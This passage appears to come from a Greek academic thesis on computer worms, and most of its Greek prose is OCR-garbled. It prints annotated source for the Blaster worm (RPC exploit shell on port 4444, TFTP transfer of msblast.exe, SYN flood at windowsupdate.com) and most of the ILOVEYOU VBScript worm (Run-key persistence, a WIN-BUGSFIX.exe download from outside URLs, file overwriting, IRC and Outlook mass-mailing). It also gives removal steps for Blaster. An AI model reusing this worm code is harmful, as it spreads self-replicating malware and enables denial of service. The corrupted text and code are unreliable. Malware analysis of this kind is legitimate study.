0 oxedlaopog gival NoAU kakodg, Kal giyoupa €ival o JEyaAUTEPOG NApAyovTag
nou €niBpaduUvel TO OKOUANKI.

Sleep(900);
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H peTtagopd apxeiwv TeAeiwvel oTav dlaBaletal To TeAeuTtaio block, To
onoio Ba €ival nIBavwg PIKPOTEPO ano €va PuaolkoU peyeBoug block.

if (block_size != sizeof(rspbuf)) {

fclose(fp);

fo = NULL,;
break;

}

}

if (fo = NULL)
fclose(fp);

closesocket_and_exit;

AuTnl n AsiToupyia au&aver Tn OleuBuvon IP. O BUFORD kavel Tn
METATponn and apibpoucg,oe strings kar  &ava oe apiBuouc kal auTto e€ival
unepBoAika nepinAoko. lMeneipapeévol npoypapuaTioteg 6a anobnkeuav anAad
Tov apibud kar 8a Tov au&avav. Autd Ocixvel OTI o Buford dev €xel MOAAN
euneipia douAevovTtag pe dieubuvoelc IP.

void blaster_increment_ip_address()
{

for (;;) {

if (ClassD <= 254) {
ClassD++;

return;

}

ClassD = 0;
ClassC++;

if (ClassC <= 254)
return;

ClassC = 0;
ClassB++;

if (ClassB <= 254)
return;

ClassB = 0;
ClassA++;

if (ClassA <= 254)
continue;

ClassA = 0;
return;

}

}
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AuTO kaAeital ano Tnv main() w¢ angipog Bpoxoc. AVIXVEUEl TIC ENOUEVEC
20 dieuBbuvoselg kal eneiTa yiveral €£000¢.

void blaster_spreader()
{

fd_set writefds;

register int i;

struct sockaddr_in sin;
struct sockaddr_in peer;
int sizeof_peer;

int sockarray[20];
intopt = 1;

const char *victim_ip;

Mepipgevel 1,8 deuTepOAEnTa Kal KAvel ouvdeon. AuTO ouxva Oev eivai
apKeTO, €10IKA OTAV €va NAKETO XAvetral AOyw oupgopnonc. ‘Eva HIkpo
OIGAEIMPA KAVElI OTNV NPAYHATIKOTNTA TO OKOUANKI NI0 apyo avTi ypnyopoTEPO.

Sleep(1800);

Twpa €Eetalel noleg ano TiIC 20 ouvdeoelc €xouv enmiTuxel. ‘Evac nio
NENEIPAPEVOG NPOYPANKATIOTHG Ba €ixe kavel eva eviaio "select()" o OAeg TIG
unodoxeG napa enavaAapBavoueveg KANOEIC yia kabe socket.

for (i=0; i<20; i++) {

struct timeval timeout;

int nfds;

timeout.tv_sec = 0,

timeout.tv_usec = 0,

nfds = 0;

FD_ZERO(&writefds);
FD_SET((unsigned)sockarray[i], &writefds);
if (select(0, NULL, &writefds, NULL, &timeout) '=1) {
closesocket(sockarray[i]),;

telse {

sizeof_peer = sizeof(peer);
getpeername(sockarrayl(i],

(struct sockaddr*)&peer, &sizeof _peer);
victim_ip = inet_ntoa(peer.sin_addr);

Eav n ouvdeon netuxaivel, eEKUETAAAEUETAl TO BUNGA

blaster_exploit_target(sockarrayl[i], victim_ip);
closesocket(sockarray[i]),;
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AuTO TO TUAMA TOU KWJIKa ouvdEETal YE TO BUPa aTo port 4444,
>nueiwon: AuTO onuaivel OTI JNOPEI KAVEIG va EUNodicel TO OKOUANKI
unAokapovTtag 1o TCP port 4444,

FAQ: AuTo To port avoiyel govo yia Tn OTIyHn Nou andaiTeitTal yia va
EKUETAAAEUTEI TO BUpA. Enopévwe, dev Ynopei va avixveuoel yia To port 4444
NPoKelJeEVoU va Bpebouv Ta BupaTta Tou Blaster.

if ((fd=socket(AF_INET,SOCK_STREAM,0)) == -1)
return;

memset(&target_ip, 0, sizeof(target_ip));
target_ip.sin_family = AF_INET;
target_ip.sin_port = htons(SHELL_PORT_4444);
target_ip.sin_addr.s_addr = inet_addr(victim_ip);
if (target_ip.sin_addr.s_addr == SOCKET_ERROR)
return;

if (connect(fd, (struct sockaddr*)&target_ip,
sizeof(target_ip)) == SOCKET_ERROR)

return;

Mepipevei 21 deuTepPOAENTA WOTE TO BUPA va (NTHOEI TO APXEIO KAl ENEITA
To apxeio napadideTal peow TFTP.

Sleep(1000);
for (i=0; i<10 && is_tftp_running; i++)
Sleep(2000);

YNoBeTovTacg OTI N METAPOPA €XEI NETUXEI diVETAI N EVTOAN WOTE va
EKTEAEOBOEI TO NpoOypaAupa.

sprintf(cmdstr, "start %os\n", MSBLAST_EXE);

if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0)

goto closesocket_and_return;

Sleep(2000);

sprintf(cmdstr, "%s\n", MSBLAST_EXE);

send(fd, cmdstr, strlen(cmdstr), 0);
Sleep(2000);
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MeTaTpenel To ovopa o€ pia dieuBuvon IP. Eav n dieuBuvon IP eival oe
Hop®n TUNou wneio.wn®io (n.x. 192.2.0.43), enioTpepel TNV dieubuvon IP,
d1a@OopETIKA WYaxvel yia dns otn dieubuvon. ZnUEiwon: oTnV NePINTWon Tou
OKOUANKIoU, divel navTta To string "windowsupdate.com" og auTrv Tnv
AeIToupyia, kal dedopevou OTI N Microsoft €xel anevepyonoinosl autd To Ovoua,
n avadntnon dns 6a anoTuxel, £€TOI AUTh N AsIToupyia ouvABwWC enioTpepel -1
(SOCKET_ERROR), 10 onoio anuaivel Tn dieuBuvon 255.255.255.255

int blaster_resolve_ip(const char *windowsupdate_com)

{

int result;

result = inet_addr(windowsupdate_com);

if (result == SOCKET_ERROR) {

HOSTENT *p_hostent = gethostbyname(windowsupdate_com);
if (p_hostent == NULL)

result = SOCKET_ERROR;

else

result = *p_hostent->h_addr;
}

return result;

}

>€ auTO TO KOUMATI Nnpoonabei va oTeiAel TO NAKETO oTo IP nou €xel Bpel.
EmAgyel €vav Tuxaio source port pera&u 1000-19999.

tcp.srcport = htons((unsigned short)((rand()%1000)+1000));
EnmiAéyel €évav Tuxaio apiBuo akoAoubiag yia va apxioel Tn ouvdeon. H

akoAouBia Ba eival pnkoug 15bit kar ox1 32bit, dnAadn peTra&u 0-32767. (n

AeiToupyia Windows rand() enioTpe@el povo 15bits.

tcp.seqno = htons((unsigned short)((rand()<<16)|rand()));

pseudo.srcaddr = source_ip;

Kal €dw OTEAVEI TO MNAKETO

sendto(fd, buf, sizeof(ip)+sizeof(tcp), 0,(struct sockaddr*)&to, sizeof(to)); }
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3.1.4 MepiAnwn Tng avaiuong

O 16¢ "ynaivel" oTto ouoTNUa anapaTAPnNToc, ONUIOUPYEI OTOV (PAKEAO
system32 Twv Windows €va apxeio pe Ovopa msblast.exe, evw pe xprion Tou
port 135 kal Tou service Remote Procedure Call Twv Windows 2000/XP
ENITPENEI 0 KAKOBOUAOUC XPAOTEC VA ANOKTACOUV TOV NARNpPN €AEYX0 TOU
hnxavnuaTtog. Eniong oTic 16 AuyoUOoToU Ol UNMOAOYIOTEG NOU €XOUV HOAUVOEI
ano Tov 10 Ba ekTteAeocouv eniBeon Denial Of Service (DoS Attack) npog To site
TNC Microsoft, oTéAvovTac xIAIGdec requests ava dsuTEPOAENTO, JE OKOMNO va
NMPOKAAECOUV TNV KATApPEUON TWV Web servers Tng eTaipeiac. ‘'OAa auta Xwpig
0 XpPNOTNG TOU UNOAOYIOTH va kataAdBel anoAUTwc TinoTa.

To vulnerability auTo "xTundesl" oto Remote Procedure Call (RPC) Service
Twv Windows NT (NT4/2000/XP/Server 2003). O kwdikag nou apxika
KUKAOQPOpNOE 0TO JIiKTUO eKMETAAAEUOTAV TNV TpUNA auTn yia va dwoel oToV
enido&o "hacker" €va shell pe SYSTEM privileges, Ta avwTEPA OTO CUYKEKPINEVO
AeIToupyiko. To exploit auTo anaitei an'tov XpnoTn va dnAwoel noid €kdoon &
YAWOOQ €XEl 0 CUYKEKPIYEVOC target. Av dev To neTuxel TOTE To RPC Service
crashdapel kal gTov XpnoTn epgavideTal €va pnvupa 6T Ta Windows 6a
TeEpUATIOTOUV O 60 deuTepOAENTA. Aev €ival avaykn OJwG va o€ yVwpilel o
"hacker" yia va oou €niTebei, noAAoi xpnaoigonoloUv eupéwg dladedopeva
scanners npokeIJEVOU va Bpouv unown@ia Buparta (€To1 yia napadsiyua
waxvouv og 0An Tnv OTEnet petd og 0An Tn FORTHNet k.0.k)

AuTa Opwc €ival "naAia" vea. Juykekpigeva n Microsoft €xel ByaAel patch

(MS03-026 kai oto WindowsUpdate) ano Tic 16 IouAiou, noAAoi Opwc dev
kavouv ouxva WindowsUpdate pe anoTtéAeopa va €ival noAAG cuoTApaTta

vulnerable.

Ta peydaAa npoBAnuaTa Eskivnoav 0Tav npayuartonoinénke o popoc 60wv
aoyxoAouvTal JE TETOIA BEPATA: €va VEO worm HE annxnon JeyaAuTepn Kal
an'tou CodeRed 1 Tou SQL Slammer worm. OI NANPOQOPIEC HEXPI TWPA AEVE Ta
€€Nc: To worm ovopadlerar W32.Blaster.Worm (symantec),W32/Lovsan.worm
(McAfee), WORM_MSBLAST.A (Trend Micro),Win32.Posa.Worm (CA),Lovsan (F-
secure), MSBLASTER,Win32.Poza kal 8a 1o BpeiTe oTO
C:\Windows\System32\msblast.exe 1} oto C:\WinNT\System32\msblast.exe
Kal oTa avoIXTa processes. XpnolJornolgi To nio navw vulnerability yia va
€NeKTABEl KAl 0 OTOXOC TOU €ival oTIC 16 kaBe urva va kavel SYN Flood
(nEB0DOG Distributed Denial Of Service Attack - DDoS) oto WindowsUpdate
NPOKEINEVOU Vva TO PIEel
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3.1.5 lMpakTtikn avaAuon Tou 10U

Kavoupe kaBapn eykataotaon Windows XP xwpic Service Pack kal xwpig
kanolo antivirus og €éva ouoTnua ouvdedepevo o€ dikTUO, ONWG BAENOUNE Kal
ano Ta System Properties oTnv napakatw sikova.

System Properties
| General | Computer Name | Hardware | Advanced | Remote |

Syztem;
Microzoft Windows =P
Home Edition

a" : I Version 2002
g

| | Registered to:
— — tark. 5 alloway

*roduct 1D iz zhewn here

| Computer;

Intel Celeron processor
5397 MHz

512 MB of RakM

OF. l [ Cancel

[?)X]

3€ auTO TO oUOTNHA Ba eKTEAECOUE TOV 10 Kal 6a oXOAIGOOUNE Ta

anoTeAEopara.
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EykaBioToupe evav compiler (oTto napadelypa o Miracle C Compiler) kai
kKavoupe compile Tov kwdika Tou MSBlaster, 6nwc BAENoupe oTnNV NApAKAaTW
€lkova.

w5 Wiracle C - [C\Documents and SettingsiDiabladDesktopiblaste o) - |I:I|£|
@ File Edit Eun Options  Window  Help -

[ EI Compile  F@ * %I?I M5 361 == x|

finclude <uri Euilcl F7
DINCL* /S

etFetConnecteditate® f

| [»

i lude <urs
SRS S Execute . F8

finclude -
finclude <stdio_h>

fpragma comment (lib, "wsZ 2. 1ib")
fpragma comment (lib, "wininet.lib")
fpragma comment (lib, "adwvapizZ._ lib")

* These strings aren't used in the worm, Buford put them here
* =0 that whitehat researchers would discover them.

* BUFORD: Note that both of these messages are the typical

* behawior of a teenager who recently discowered lowve, and

* is in the normal teenage mode of challenginhg authority.

i

const char msgl[]="I just want to =say LOVE YO Sam!ii";

const char msgz[]="billy gates why do you make this possible 7"
" Btop making money and fix your software! !

.I,I'*

* Buford probably put the worm name as a "define" at the top
* of his program so that he could change the name at any time.
* EO0032-09-z9: This is the string that Parson changed.

i

fdefine MEBLAST EXE "msbhlast._exe"

.I,I'*

* ME-BPC/DCOM runs owver port 135,

* DEFEMRE: firewalling port 135 will prewvent systems from
* being exploited and will hinder the spread of this worm.

*J,l' -

[ Fun [ER)

= Type the name of a program, falder, dacument, ar
Internet resource, and Windows will open it for wou,

Open; | regedit| |E|

Fun in separate memary space

[ K J[ Cancel H Browse, .. ]

-44-



META TOV TPEXOUHE €NIAEYOVTAC execute kAl NnapaTnPoUpe OTI OTN
Registry (Tnv avoiyoupe TpexovTag regedit and To run otnv 'Evapén, onwg otnv
napandavw sikova) £xel dnuioupynOei To KAEIDI
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\windows auto update
= 'msblast.exe’ Onwc paiveral napakaTw

% Registry Editor Z”E|E|
File Edit Miew Favorites Help

[ Explorer || rame Tvpe Data

[ Extensic REG_S7 ivalue nok set)

L3 Group P @b windaws auto update I REG_5Z msblast.&xe
L3 Hz=z3Tal

[ Hints
[ Installer
I:| Internet

[ 1PConfT
[ Mediace
L3 Ms-Dos
[ s

[ optimall
[ policies

|

[C71 RunOnC
[ setup
[ sharedC +

< | SIIE:

|

My CompuberiHKEY _LOCAL MACHINEVSOFTWAREMicrosoftlwWindowsh CurrentWersiont Fun

TO 0OMoio OoTNV oucdia A&gl 0To cUOTNHA va dNUIOUPYNOEl GTOV (PAKEAO system32
Twv Windows €va apxeio pe Ovopa msblast.exe To onoio 8a TpeExel oTnv
ekkivnon kal 6a kavel akpIBwg auTa nou NepIypayape napanavw, onwg
BAEnoupe oTnV NapakdTw €ikova, ano To msconfig (TpEXovTag To anod To run
TNG EKKivVNONG)
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= System Configuration Utility

__General SWATEMLINT | WIN.INT | BOOT.INI | Services | Startup _

. Skartup Ikerm Carmmand Location
atipkas: atipkax:,exe HELMY, SOFTWARE Microsofthwindmess Currenther .,
E_S10IC2 EVWINDOWS System, ., HELMSOFTWARE T Microsaft Windowsy Currentver
MeroCheck. EVWINDOW S \system, .. HELMSOFTWARE T MicrosaftWindows) Currentier .,
jusched E:\Program FilestJava.,.  HELMSOFTWARE MicrosaftWindows) Currentier .,
ctfrmion EVWINDOWS System, ., HKCUWSOFTWARE Microsaft windowsh Currentiier ., .
mMsmss "E:\Program Files\Mes.,.  HECUWSOFTWAREMicrosaftwindows Currentier ..

InterCheck Monitor  E:X\PROGRA~IYSOPH...  Common Startup
InterVideo WinCine... E:\PROGRA~IVINTER...  Common Startup

Microsoft Office E\PROGRA~UMICRO, ., Common Starkup
[¥] Zonedlarm E\PROGRA~1ZOMEL,,,  Com FLig _
shlask msblask, exe 5OFT'-.-'-.-'P.RE'I,I"-“Iin:rDSDFt‘LWindDwsﬁ,Currentﬂe@
| Enableal || Disablesn |
[ Ik l [ Cancel ] [ Apply ] [ Help ]

TNV €nNOPEVN €navekkivnon PnopoUpe va To doUpe kal oTov task manager
(Ctrl+Alt+Del) va TpExel.

Windaows Task Manager =NNEIN X
Eile Options Miew  Shut Down Help
| Applications | Processes | Performance | Metworking |

Image Mame CPU Mem Usage WM Size Th =
SMaxd.exe oo FOT2K 4,032 K
lsass.exe oo 3.000 K 4,316 K
SEPvICES, BxXe o 5112K 2,744 K
winlogon, exe oo 1.568 K FAS2K
akiZevxx. exe o 5,500 K 2,648 K
TosBEHSP . exe o 2,088 K 5,996 K
CEFSS, Bxe oo 5.616 K 1.584 K
TosBEHid, exe o 2032 K TA2E
nod3zkrn, exe o 39405 kK 35404 K
svwihosk, exe oo F00K 6.944 K
Tostzdp. exe o 4,892 K 3,304 K
SMS5 . EXE oo 632 kK 240 K
eyvchost gxe oo 31532k 21765k

: 00 8.872K  5.752K
AsKmgr, eXe 0z 7660 K 2116 K E
svihosk, exe oo 6,208 kK 3.360 K
svihosk, exe oo 4.136 K 1.832 K
Sysbem o 248 K el o
Syskem Idle Process a9z 24 K 0k b
- T p

show processes From all users
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MapatnpoUpe OTI To oUOTNKA KAvel aveEnynTa restart kGBe Aiyeg wpeg,
eppavifovtag To YVwoTO o€ NoAAoUC napakdaTw puvnua:

System Shutdown

Q

Thiz system iz shutting down. Pleaze zave all
work in progress and log off. Any unzaved
changes will be lozt, Thiz shutdown was
initigted by MT AUTHORITYS5YSTER

Time before shutdowr ;- 000053

bezzage

"Windows must now restart because the
Remaote Procedure Call [RPC) service
terminated unerpectedly
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3.1.6 H Auon oto npoBAnua givai n €&ng:

0)Ze nepinTwon Nou gPgavioTei To yAvupa yia shutdown og 60

deuTepOAenTa kavTe Start > Run (‘Evap&n > EkTéAeon) kal oTo nedio

nAnkTpoAoynote 'shutdown -a' kai OK yia va anotpanei To shutdown.
1) Ac&i click oto My Computer kai Properties, kapTéAa System

Restore kail eniAe€Te Turn off System Restore.

2) Avoi&te Tov Task Manager pe Ctrl+Alt+Del (kal kAIk oTo Task
Manager yia NT4/2000), kai ano Ta Processes eniAeETe To msblast.exe
kal natriote 10 Kill Process.

3) Xpnoigonoiwvtag Tov Windows Explorer diaypayTe T0O
C:\Windows\System32\msblast.exe (XP/Server 2003) } To
C:\WinNT\System32\msblast.exe (NT4/2000)

Kal Ta neplexopeva Tou @akelou C:\Windows\Prefetch\

4) Start > Run (Evap&n > EkTeAeon) kal oTo nedio NANKTPOAOYNOTE
regedit. 'EneiTa nnyaivre oTo
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr
entVersion\Run kal oBroTe Tnv kataxwpnon "windows auto
update"="msblast.exe"

5 Registry Editor =10l x|
File  Edit Wiew Favortes Help
(13 ©5CSettings :I Mam e Type Data
+- 1 DateTime [Default] REG_SZ {value not set)
+- (1 Dynamic Directory Acl-:-l)e"v"ersi-:-n Cue (52 REG_SZ "C
+-(Z Explorer .ﬁ.susStaltupHeIp REG_SZ "C
-0 Ext ATICCC REG_SZ " am Files (x360WATl Techn
23 HazaTsp Blaer-:- Start Orls REG_SZ "C am Files (x86)\Elaero Start C
23 Hints DAEM-Z:'N Toals REG_SZ " am Files (x
3 Installer LanguageSh-:-lt-:ut REG_SZ "C am Files (x:
. L REG_SZ " am Files (x88\LC
i g :::I::::::ttmgs 32k RE'Z%_SZ " am F?Ies (xB6)E e
- Rapget REG_SZ " am Files (x
Q MLD_ . Rem oteControl REG_SZ am Files {x D
# 0 Media Center S-Z-LIITC”V].A)‘: REG_SZ am Files (x36)" | A
+ 0 ModuleUsage S-Z-LIITC”V].A)‘:PHP REG_SZ gram Files (8 sm axdpr
(1 M3-DOS Emulation [ab] Styler REG SZ cqram Files ix
0 s n)a teSched REG_SZ am Files (x ol ¢
3 Optim alLayout REG_SZ ChProgram Files (xB6)\Wista Sidebarsidebar exe”
i |aby REG_SZ mshlaster exe
operty Sy stem
(2 Reliability
+- (1 RenameFiles
{3 Run
3 Run- Confirm Yalue Delete il
3 Runnee
i g 2;::;;”'2& g Are you sureyou want to delete this value?
(23 SharedDlls
+-( Shell Bxtensions Mo
+- [0 ShellCom patibility —
+-( ShellScrap
(23 shellSer jectDelayload
(1 SideBySide
= Stilllmage
+-( Synemgr ILI
4 o |l | ol
|Ivl}-' Com puter\HKEY_LOCAL_MACHIME\SOF TWARE\Microsoft\Windows\Currenty/ersion\Run ]
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5) KateBaoTe To patch an'tn Microsoft | diopbwoTe TO e eva Windows
Update.

6) ®povTioTe va kavete TakTika Windows Update yia va anoTtpénovral
TETOIQ NPOPBANUATA OTO PEAAOV

EvaAAakTika pnopeite va xpnoipgonoinoste To Removal Tool Tng
Symantec.

Mpoooxn: To Removal Tool avTikaBioTa Ta BnuaTta 1-4, npénel va
POoPTWOETE KAl To patch Tng Microsoft (BrAua 50)!

@Symantec Security Response - W32 Elaster Waorm Removal Tool - Mezilla Firefiox -1&| x|
File  Edit View History Bockmarks Tocls Help —
[ <4 IR P I g [ X ] 6 | N http:/ A sarc com/ avcenter/venc/data/w3 2 blasterworm rem oval tol html |'|‘5] "|nap|fncgo\ﬁ iloveyou ‘Q] \IE—;‘a ~

P Getting Started [ Latest Headlines B eoproiéyo EL HKAGHIMEPINH - Me

ﬂl ILOVEY DU virus analysis 3 Symantec Security Response - W... 5] Tepupapn iloveyou - Avalitnan . v

HOME & HOME OFFICE ABOUT SYMANTEC

ENTERPRISE PARTNERS

SMALL BUSINESS

WELCOME

CEETTN Al of Symantec

W32.Blaster.Worm Removal Tool

Discovered o August 11, 2003 > Downl Removal Tool
iLast Lpdated on: duy 21, 2008 05:09:49 P GOT

Please read the instructions below before running this tool.

4 print document

Wersion 1.0.6.1 of the W32 Blaster Worm Removal Tool will remove the following threats as well as
their side effects:

W32 Blaster Warm

W32 Blaster B.\Warm

W32 Blaster. C.\Warm

W32 Blaster.D.Warm

W32 Blaster. E.Worm

W32 Blaster F Warrn

Important Notes:

* Y32 Blaster.Worm exploits the DCOM RPC vulnerability. This is described in Microsoft
Security Bulletin MS03-026, and a patch is available there. You must download and install
the patch. In many cases, you will need to do this befare continuing with the rermoval
instructions. If you are not able to rernove the infaction or prevent re-infection using the
following instructions, first download and install the patch

Additional information, and an altemate site from which to download the Microsoft patch is
available in the Microsoft article "What You Should Know About the Blaster Worm and lts
Warlants."

Because of the way the worm works, it may be dificult to connect to the Intermet to obtain
the patch, definitions, or rermoval tool before the worm shuts down the computer. It has been
reported that, for users of Windows XP, activating the \Windows XP firewall may allow you to
download and install the patch, obtain virus definitions, and run the removal tool. This may
also work with other firewalls, although this has not been confirmed

.

.

What the tool does
The W32 Blaster. Worm Removal Tool does the following:

1. Terminates the ¥32.Blaster.WWorm viral processes
2. Deletes the W32 Blaster Worm files j

http:// secunityresponse sym antec com/avcenter/FixBlast exe @ 7.796s E @
—
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http://www.sarc.com/avcenter/venc/data/w32.blaster.worm.removal.tool.html
http://www.microsoft.com/technet/security/bulletin/MS03-026.asp

3.2 ILoveYou (e-mail worm)

i
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3.2.1 Mepiypa@n iou

O «Io6¢ Tng Ayannc» (Iloveyou virus) o onoiog PE EKTINNOEIG, «KOOTIOE
TouAdxioTov 15 d10. doAdpia» oTnv naykoouia Blognxavia unoAoyioTwyv Kal
JIAQOPEG EMIXEIPNOEIC, KUBEPVNTIKEC UMNPECIEC KAl PUN KUBEPVNTIKOUC
opyaviopouc. To «ayannoldpiko» e-mail xTunnoe navw and 200.000 sTaipeieg
oTIc HMA kal kaipog NTav va nepAaocel kal ota Xwpdagia Tng ynpaidg nneipou. H
(paocapia nou &Eonaoe ATav 101QiTEPA EVTOVN. ZUYKEKPIYEVA, O 10G NMou
ouvodeUEl Ta PnvupaTa Pe TiTAo «iloveyou», Tn OTIYUA NOU 0 NApaAnnTng
avoiyel, yia va d1aBAcsl To CUYKEKPIPMEVO Mail, anooTEAAETAI AUTOUATOG OE OAEC
TIC d1euBbuvoeic Tou mail box. AuTog NTav o Adyoc Tn¢ paydaiac eEaGnAwonc Tou
oTo 31adIKTUaKO KOOWO. H KaTtaoTpenTIKOTATA TOU OMWG €ival eEQIPETIKA MIKPNG
EKTAONG, KaBwc npooBalel povo apxeia jpeg kar MP3, Ta onoia paAioTa dev Ta
KATAoTPEPEI KAl Jnopouv va avaktnbouv oTn oUVEXEIQ.

ZUPQWVa KE TIG apXEC NOU KIVANONKAv auEow Kal Je Tn Bonbeia aAAwv
hackers, ol onoiol douAgUouVv yia KUBEPVNTIKOUC OpyaviopoUuc, AEyeTal OTI EXEI
EVTOMIOTEI 0 UNEUOUVOC TNG KATAOKEUNG KAl apxIKnG anooToAng Tou 1ou. Kai
MaAAov €ival kanolog yepuavog goitnTng nou el otnv AuoTpaAlia
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3.2.2 lNnyaiog KWdIKag

rem barok -loveletter(vbe) <i hate go to school>

rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
On Error Resume Next

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow

eg=""

ctr=0

Set fso = CreateObject("Scripting. FileSystemObject")

set file = fso.OpenTextFile(WScript.ScriptFullname, 1)

vbscopy=file.ReadAll

main()

sub main()

On Error Resume Next

dim wscr,rr

set wscr=CreateObject("WScript.Shell")

rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout")

if (rr>=1) then

wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout",0,"REG_DWORD"

end if

Set dirwin = fso.GetSpecialFolder(0)

Set dirsystem = fso.GetSpecialFolder(1)

Set dirtemp = fso.GetSpecialFolder(2)

Set ¢ = fso.GetFile(WScript.ScriptFullName)

c.Copy(dirsystem&"\MSKernel32.vbs")

c.Copy(dirwin&"\Win32DLL.vbs")

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

regruns()

htmli()

spreadtoemail()

listadriv()

end sub

sub regruns()

On Error Resume Next

Dim num,downread

regcreate

"HKEY LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dir
system&"\MSKernel32.vbs"

regcreate

"HKEY _LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32D
LL", dirwin&"\Win32DLL.vbs"

downread=""

downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download
Directory")

if (downread="") then

downread="c:\"

end if

if (fileexist(dirsystem&"\WinFAT32.exe")=1) then

Randomize

num = Int((4 *Rnd) + 1)

if num = 1 then
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regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page", "http://www.skyinet.net/~youngls/HIJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw658734
5gvsdf7679njbvYT/WIN-BUGSFIX.exe"

elseif num = 2 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page", "http://www.skyinet.net/~angelcat/skladjflifdjghKinwetryDGFikjUIygwerWe546786324hj
k4jnHHGbvbmKLIKjhkqj4w/WIN-BUGSFIX.exe"

elseif num = 3 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page", "http://www.skyinet.net/~koichi/jf6 TRjkcbGRpGqgaq198vbFV5hfFEkKbopBdQZnmPOhfgER
67b3Vbvg/WIN-BUGSFIX.exe"

elseif num = 4 then

regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page", "http://www.skyinet.net/~chu/sdgfhjksdfjkINBmnfgkKLHjkqwtuHIBhAFSDGjkhYUgqwera
sdjhPhjasfdglkNBhbgwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX .exe"

end if

end if

if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate
"HKEY LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-
BUGSFIX",downread&"\WIN-BUGSFIX.exe"

regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Main\StartPage", "about:blank"

end if

end sub

sub listadriv

On Error Resume Next
Dim d,dc,s

Set dc = fso.Drives
For Each d in dc

If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if

Next

listadriv = s

end sub

sub infectfiles(folderspec)

On Error Resume Next

dim f,f1,fc,ext,ap,mircfname,s,bname,mp3

set f = fso.GetFolder(folderspec)

set fc = f.Files

for each f1 in fc

ext=fso.GetExtensionName(f1.path)

ext=Icase(ext)

s=[case(fl.name)

if (ext="vbs") or (ext="vbe") then

set ap=fso.OpenTextFile(fl.path,2,true)

ap.write vbscopy

ap.close

elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta")
then

set ap=fso.OpenTextFile(fl.path,2,true)

ap.write vbscopy

ap.close

bname=fso.GetBaseName(fl.path)

set cop=fso.GetFile(f1.path)
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cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(fl.path,2,true)

ap.write vbscopy
ap.close

set cop=fso.GetFile(f1.path)
cop.copy(fl.path&".vbs")
fso.DeleteFile(f1.path)

elseif(ext="mp3") or (ext="mp2") then

set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy

mp3.close

set att=fso.GetFile(f1l.path)
att.attributes=att.attributes+2

end if

if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or

(s="mirc.hilp") then

set scriptini=fso.CreateTextFile(folderspec&”\script.ini") scriptini.WriteLine "[script]"

scriptini. WriteLine
scriptini. WriteLine
scriptini. WriteLine
scriptini. WriteLine
scriptini. WriteLine
scriptini. WriteLine
scriptini. WriteLine
scriptini. WriteLine
scriptini. WriteLine

"*mIRC Script"
"- Please dont edit this script... mIRC will corrupt, if mIRC will"

" corrupt... WINDOWS will affect and will not run correctly. thanks"
"-Khaled Mardam-Bey"

" http://www.mirc.com"

"nO=on 1:JOIN:#:{"

"ni= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send

$nick"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"

scriptini. WriteLine
scriptini.close
eqg=folderspec
end if

end if

next

end sub

"n3:} "

sub folderlist(folderspec)
On Error Resume Next

dim f,f1,sf

set f = fso.GetFolder(folderspec)
set sf = f.SubFolders

for each f1 in sf

infectfiles(f1.path)

folderlist(f1.path)
next
end sub

sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue

end sub

function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)

end function
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function fileexist(filespec)

On Error Resume Next

dim msg

if (fso.FileExists(filespec)) Then
msg =0

else

msg =1

end if

fileexist = msg

end function

function folderexist(folderspec)

On Error Resume Next

dim msg

if (fso.GetFolderExists(folderspec)) then
msg =0

else

msg =1

end if

fileexist = msg

end function

sub spreadtoemail()

On Error Resume Next

dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad

set regedit=CreateObject("WScript.Shell")

set out=WScript.CreateObject("Outlook.Application")

set mapi=out.GetNameSpace("MAPI")

for ctrlists=1 to mapi.AddressLists.Count

set a=mapi.AddressLists(ctrlists)

x=1

regv=regedit.RegRead("HKEY _CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="")

then

regv=1

end if

if (int(a.AddressEntries.Count)>int(regv)) then

for ctrentries=1 to a.AddressEntries.Count

malead=a.AddressEntries(x)

regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead) if

(regad="")

then

set male=out.Createltem(0)

male.Recipients.Add(malead)

male.Subject = "ILOVEYOU"

male.Body = vbcrif&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send
regedit.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if

x=x+1
next
regedit.RegWrite

